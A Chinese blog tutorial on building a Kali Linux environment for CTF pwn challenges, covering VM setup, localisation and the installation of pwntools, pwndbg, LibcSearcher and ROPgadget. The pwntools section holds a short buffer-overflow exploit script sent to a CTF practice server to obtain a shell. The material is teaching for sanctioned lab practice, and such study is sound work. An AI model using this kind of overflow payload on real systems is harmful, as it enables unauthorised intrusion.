CTF-PWN环境搭建手册

         工欲善其事必先利其器,作为一名CTF的pwn手,一定要有自己的专用解题环境。本文将详细记录kali下的pwn解题环境的安装过程,B站也会配备配套视频。

目录

安装前的准备工作

虚拟机环境​编辑

VM版本安装教程

1. 下载Kali的VM虚拟机文件

2. 新建一个空白文件夹

3. 解压压缩包

4.打开VMware WorkStation

​编辑 5. 配置虚拟机的硬件

6.启动虚拟机

7.kali汉化步骤

​编辑

8.换源!

 9.中文输入法安装

pwn环境安装

1.pwntools安装

 1、安装指令

2、测试checksec

3、测试pwntools

2.gdb动态调试安装

1、原生gdb安装

 2、pwndbg安装

 3、测试安装

​编辑

3.LibcSearcher安装

4.ROPGadget安装


安装前的准备工作

虚拟机环境

VMware WorkStation

VM版本安装教程

1. 下载Kali的VM虚拟机文件

Kali的VM虚拟机文件

Kali的VM虚拟机文件可在Kali官网下载

kali官网
Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution

 左侧Installer Images为光盘镜像文件,右侧Vitrual Machines是我们这次下载的VM虚拟机文件

 点击这里下载

 最后得到压缩包

2. 新建一个空白文件夹

找一个空间大点的盘,新建这个文件夹,命名就叫Kali好了

3. 解压压缩包

把第一步下载的VM虚拟机文件,解压到当前目录下

对着文件右键解压文件,选中你创建的文件夹。

 

 等待解压完成

解压完成会得到

4.打开VMware WorkStation

点击打开虚拟机

 选中文件中的这个

 5. 配置虚拟机的硬件

打开虚拟机之前,需要调整硬件设置

 点击编辑虚拟机设置

 内存设置,电脑本机的内存的一半即可。

处理器1就行。核取一半(up的CPU只有8核)

硬盘其实60G就完全够用

配置完成记得点击确认保存

6.启动虚拟机

由于这个是配置好的,所以默认密码是kali/kali

 登录之后的样子,全英文有点难受

7.kali汉化步骤

全英文怎么玩!!!给我汉化

右键Kali的桌面,点击Open Terminal Here(在此处打开控制台)

 输入指令

一、进入root模式

sudo -i   #指令输入后,会要求输入kali的密码,也就是kali。注意,kali输密码光标是不会动的哦!

 

 已经入root模式就是红红的

二、更新源(不是换源!)

apt-get update

看到这烦人的下载速度没,这就提醒你该换源(下载服务器)了 ,CTRL+C结束,然后先去第8步换源吧

 

三、设置系统语言

sudo dpkg-reconfigure locales

下方向键一直按着

按到看到zh_CN

选中了之后,不要按回车!!!!!!

先按空格!!!!变成星星,我已踩坑

回车,如果没有zh_cn,证明没听我话,退回去重新操作就行

回车,接下里让它自己跑

重启系统应用汉化

reboot

这个不建议改成汉化的,因为经常要访问 ,英文路径好打

8.换源!

我看这篇写的挺好,那我就偷懒了,记得阿里和清华一起上
Kali 更换源(超详细,附国内优质镜像源地址)_kali换源-CSDN博客

 9.中文输入法安装

1.打开终端,输入以下命令:root权限哦

apt-get install ibus ibus-pinyin  

记得点Y

reboot #重启

右上角切换

pwn环境安装

1.pwntools安装

 1、安装指令

进入root

sudo -i

安装指令 

sudo pip3 install pwntools

2、测试checksec

测试题目位置
NSSCTF | 在线CTF平台

把附件拖到kali中,重命名为pwn1,方便写指令。指令要在桌面路径执行哦。

checksec pwn1

3、测试pwntools

from pwn import *
xianyufen=remote("node1.anna.nssctf.cn",28029)#按照服务器地址和端口更改
payload=b'a'*0x2C+p64(0x41348000)
xianyufen.send(payload)
xianyufen.interactive()

我的是这样的

from pwn import *
xianyufen=remote("node4.anna.nssctf.cn",28492)#按照服务器地址和端口更改
payload=b'a'*0x2C+p64(0x41348000)
xianyufen.send(payload)
xianyufen.interactive()

在桌面用指令建一个python脚本

vim attack.py 

然后就可以右键编辑了,用Mousepad打开

指令粘贴进去

控制台运行一下

python3 attack.py

再输个ls,即可看到flag,工具已正常安装

2.gdb动态调试安装

1、原生gdb安装

sudo apt install gdb

 2、pwndbg安装

访问github,获取安装指令
GitHub - pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made Easy

 安装指令

# 下载仓库
git clone https://github.com/pwndbg/pwndbg

会得到pwndbg项目文件夹 

# 移动到文件夹下
cd pwndbg

# 可以用ls看一下当前目录下的文件

# 启动安装脚本
./setup.sh

安装时间会有点久

 

 3、测试安装

cd ../ #回到桌面
gdb pwn1   #上一节的栈文件,拿来测试

 显示的是pwndbg就对了,打个断点玩一下

b main  #main函数打个断点

quit  #退出

温馨提示:pwndbg那个文件夹别删除!

3.LibcSearcher安装

旧版LibcSearcher 安装发现报错   GitHub - lieanu/LibcSearcher: glibc offset search for ctf.

更换别的版本

项目地址如下:https://github.com/dev2ero/LibcSearcher

yH5BAAAAAAALAAAAAAOAA4AAAIMhI+py+0Po5y02qsKADs=

wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==

安装指令

pip3 install LibcSearcher

代替在线工具 

4.ROPGadget安装

sudo pip install capstone

正常应该是successfully,但我这里好像在前面已经装好了 

 载项目

git clone https://github.com/JonathanSalwan/ROPgadget.git

移动至项目文件夹下

cd ROPgadget

 

安装指令

sudo python3 setup.py install

  • 9
    点赞
  • 60
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

予我心安A3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值